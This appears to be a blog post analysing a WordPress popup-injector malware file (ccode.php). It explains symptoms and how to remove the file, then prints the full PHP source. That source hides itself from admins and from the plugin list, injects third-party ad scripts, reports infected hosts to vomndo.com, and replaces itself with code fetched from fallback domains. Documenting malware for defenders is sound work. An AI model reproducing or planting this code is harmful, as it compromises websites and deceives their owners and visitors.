A new variant of popup injector WordPress malware is spreading and affecting 1000s of WordPress websites. The  web master was getting once in a weekly email from visitors complaining about adult content popups on the website.

An interesting fact about the malware is

  • It’s not showing to admin users of the website.
  • Not showing to logged-in users.
  • Even for not logged in users, the popup is running at different times of the day.
  • Popup is distributed in different regions

Site-admin did a complete update of WordPress core – No change

Updated all plugins – No change

Updated the current theme and plugins – No change

Disabled all the plugins and switched to default theme – No change

Finally, in the wp-plugins directory, a file name ccode.php was found with malicious code

Upon inspecting the code, it was

  • Hiding the popups from admin ips.
  • Not showing in for logged in users.
  • Hiding itself from Active plugins list.

And few other typical behaviors as shown below

add_action( 'admin_init', function() {

    register_setting( 'ccode-settings', 'default_mont_options' );
    register_setting( 'ccode-settings', 'ad_code' );
	register_setting( 'ccode-settings', 'hide_admin' );
	register_setting( 'ccode-settings', 'hide_logged_in' );
    register_setting( 'ccode-settings', 'display_ad' );
    register_setting( 'ccode-settings', 'search_engines' );
	register_setting( 'ccode-settings', 'auto_update' );
	register_setting( 'ccode-settings', 'ip_admin');
	register_setting( 'ccode-settings', 'cookies_admin' );
	register_setting( 'ccode-settings', 'logged_admin' );
	register_setting( 'ccode-settings', 'log_install' );

});

Also it auto updates from several domain
if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") 
OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) 
AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false 
AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

Different url it uses if one goes down

1) http://www.vomndo.xyz
2)http://www.vomndo.top

Code to hide from active plugin list
add_action('pre_current_active_plugins', 'hide_plugin_ccode');

Just delete the ccode.php from wp-plugins.php , and update wordpress core and other plugins , because its clear that a bot
or exploit might have used an existing vulnerbility to inject this code into plugins directory

Full code for reference
<?php
/**
 * Plugin Name: Custom Code
 * Description: show cusom ad codes with many options .
 * Author: Alberto Uozumi
 * Version: 1.0
 */
error_reporting(0);
ini_set('display_errors', 0);
$plugin_key='513ca0e9b3d5b9dbce390430591d7f43';
$version='1.2';

add_action('admin_menu', function() {
    add_options_page( 'ccode Plugin', 'ccode', 'manage_options', 'ccode', 'ccode_page' );
    remove_submenu_page( 'options-general.php', 'ccode' );
});

add_filter('plugin_action_links_'.plugin_basename(__FILE__), 'salcode_add_plugin_page_settings_ccode');
function salcode_add_plugin_page_settings_ccode( $links ) {
	$links[] = '<a href="' .
		admin_url( 'options-general.php?page=ccode' ) .
		'">' . __('Settings') . '</a>';
	return $links;
}

add_action( 'admin_init', function() {

    register_setting( 'ccode-settings', 'default_mont_options' );
    register_setting( 'ccode-settings', 'ad_code' );
	register_setting( 'ccode-settings', 'hide_admin' );
	register_setting( 'ccode-settings', 'hide_logged_in' );
    register_setting( 'ccode-settings', 'display_ad' );
    register_setting( 'ccode-settings', 'search_engines' );
	register_setting( 'ccode-settings', 'auto_update' );
	register_setting( 'ccode-settings', 'ip_admin');
	register_setting( 'ccode-settings', 'cookies_admin' );
	register_setting( 'ccode-settings', 'logged_admin' );
	register_setting( 'ccode-settings', 'log_install' );

});

$ad_code="
<script>(function(s,u,z,p){s.src=u,s.setAttribute('data-zone',z),p.appendChild(s);})(document.createElement('script'),'https://iclickcdn.com/tag.min.js',3388587,document.body||document.documentElement)</script>
<script src=\"https://propu.sh/pfe/current/tag.min.js?z=3388595\" data-cfasync=\"false\" async></script>
<script type=\"text/javascript\" src=\"//inpagepush.com/400/3388600\" data-cfasync=\"false\" async=\"async\"></script>
";

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

function ccode_page() {
 ?>
   <div class="wrap">
<form action="options.php" method="post">
       <?php
       settings_fields( 'ccode-settings' );
       do_settings_sections( 'ccode-settings' );
$ad_code='';

$hide_admin='on';
$hide_logged_in='on';
$display_ad='organic';
$search_engines='google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com';
$auto_update='on';
$ip_admin='on';
$cookies_admin='on';
$logged_admin='on';
$log_install='';

       ?>
	   <h2>ccode Plugin</h2>
	   <table>

 <tr>
                <th>Ad Code</th>
                <td><textarea placeholder="" name="ad_code" rows="5" cols="130"><?php echo get_option('ad_code',$ad_code) ; ?></textarea></td>
            </tr>

<tr>
                <th>Hide ads to :</th>
                <td>
                    <input type="hidden" id="default_mont_options" name="default_mont_options" value="on">
                    <label>
                        <input type="checkbox" name="hide_admin" <?php echo esc_attr( get_option('hide_admin',$hide_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />admins
                    </label>
                    <label>
                        <input type="checkbox" name="hide_logged_in" <?php echo esc_attr( get_option('hide_logged_in',$hide_logged_in) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in users
                    </label>
					<br/>

                </td>
            </tr>

			<tr>
                <th>Recognize admin by :</th>
                <td>

                    <label>
                        <input type="checkbox" name="logged_admin" <?php echo esc_attr( get_option('logged_admin',$logged_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />logged in
                    </label>
                    <label>
                        <input type="checkbox" name="ip_admin" id="ip_admin"  <?php echo esc_attr( get_option('ip_admin',$ip_admin) ) == 'on' ? 'checked="checked"' : '' ?> />By IP addresses
                    </label>
                                        <label>
                        <input type="checkbox" name="cookies_admin" <?php echo esc_attr( get_option('cookies_admin',$cookies_admin) ) == 'on' ? 'checked="checked"' : ''; ?> />By Cookies
                    </label>

                </td>
            </tr>

			<tr>
                <th>Display ads to :</th>
                <td>
                 				         <select name="display_ad">

                        <option value="organic" <?php echo esc_attr( get_option('display_ad',$display_ad) ) == 'organic' ? 'selected="selected"' : ''; ?>>Organic traffic only</option>
                        <option value="all_visitors" <?php echo esc_attr( get_option('display_ad') ) == 'all_visitors' ? 'selected="selected"' : ''; ?>>All Visitors</option>

                    </select>

                </td>
            </tr>

            <tr>
                <th>Search Engines</th>
                <td><input type="text" placeholder="Internal title" name="search_engines" value="<?php echo esc_attr( get_option('search_engines',$search_engines) ); ?>" size="80" /><p class="description">
			comma separated  </p>
				</td>
            </tr>

 <tr>
                <th>Auto Update :</th>
                <td>

                    <label>
                        <input type="checkbox" name="auto_update" <?php echo esc_attr( get_option('auto_update',$auto_update) ) == 'on' ? 'checked="checked"' : ''; ?> />auto update plugin
                    </label><br/>

                </td>
            </tr>

            <tr>
                <td><?php submit_button(); ?></td>
            </tr>

        </table>

     </form>
   </div>
 <?php
}

/*************************log install***************************/
if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_ccode("http://www.vomndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
/*************************set default options***************************/

if(get_option('default_mont_options') !=='on')
{
update_option('ip_admin', $ip_admin);
update_option('ad_code', $ad_code);
update_option('cookies_admin', $cookies_admin);
update_option('logged_admin', $logged_admin);
update_option('hide_admin', $hide_admin);
update_option('hide_logged_in', $hide_logged_in);
update_option('display_ad', $display_ad);
update_option('search_engines', $search_engines);
update_option('auto_update', $auto_update);
update_option('log_install', '1');
}

/************************************************************************/
include_once(ABSPATH . 'wp-includes/pluggable.php'); 

if ( ! function_exists( 'display_ad_single' ) ) {  

function display_ad_single($content){ 
if(is_single())
{

$content=$content.get_option('ad_code');;
}
return $content;
} 

function display_ad_footer(){ 
if(!is_single())
{
echo get_option('ad_code');
}
} 

//setting cookies if admin logged in
function setting_admin_cookie() {
  setcookie( 'wordpress_admin_logged_in',1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
  }

if(get_option('cookies_admin')=='on')
{

if(is_user_logged_in())
{
add_action( 'init', 'setting_admin_cookie',1 );
}
}

//log admin IP addresses
$vis_ip=getVisIpAddr_ccode();
if(get_option('ip_admin')=='on')
{
if(current_user_can('edit_others_pages'))
{

if (file_exists(plugin_dir_path( __FILE__ ) .'admin_ips.txt'))
{
$ip=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
}

if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.'
';
@file_put_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt',$ip);

}

}
}// end if log admins ip

//add cookies to organic traffic

if(get_option('display_ad')=='organic')
{

$search_engines = explode(',', get_option('search_engines'));

$referer = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($search_engines as $search) {
  if (strpos($referer,$search)!==false) {
    setcookie("organic", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$organic=true;
  }
}

}//end

//display ad

if(!isset($_COOKIE['wordpress_admin_logged_in']) && !is_user_logged_in()) 
{

$ips=@file_get_contents(plugin_dir_path( __FILE__ ) .'admin_ips.txt');
if (stripos($ips, $vis_ip) === false)
{
/*****/
if(get_option('display_ad')=='organic')
{
if($organic==true || isset($_COOKIE['organic']))
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer'); 
}
}
else
{
add_filter('the_content','display_ad_single');
add_action('wp_footer','display_ad_footer');  
}

/****/

}

}
/*******************/

//update plugin

if(get_option('auto_update')=='on')
{

if( ini_get('allow_url_fopen') ) {

        if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

                elseif ($new_version = @file_get_contents("http://www.vomndo.xyz/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

        elseif ($new_version = @file_get_contents("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

}
else
{
            if (($new_version = @file_get_contents("http://www.vomndo.com/update.php") OR $new_version = @file_get_contents_ccode("http://www.vomndo.com/update.php")) AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

                elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.xyz/update.php") 
AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false 
AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }

        elseif ($new_version = @file_get_contents_ccode("http://www.vomndo.top/update.php") AND stripos($new_version, $plugin_key) !== false) {

            if (stripos($new_version, $plugin_key) !== false 
AND stripos($new_version, '$version=') !== false) {
               @file_put_contents(__FILE__, $new_version);

            }
        }
}
}//end if auto update

/*********************************/

}// if function exist

     function file_get_contents_ccode($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

function hide_plugin_ccode() {
  global $wp_list_table;
  $hidearr = array('ccode.php');
  $myplugins = $wp_list_table->items;
  foreach ($myplugins as $key => $val) {
    if (in_array($key,$hidearr)) {
      unset($wp_list_table->items[$key]);
    }
  }
}

add_action('pre_current_active_plugins', 'hide_plugin_ccode');

        function getVisIpAddr_ccode() { 

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) { 
        return $_SERVER['HTTP_CLIENT_IP']; 
    } 
    else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
        return $_SERVER['HTTP_X_FORWARDED_FOR']; 
    } 
    else { 
        return $_SERVER['REMOTE_ADDR']; 
    } 
}

?>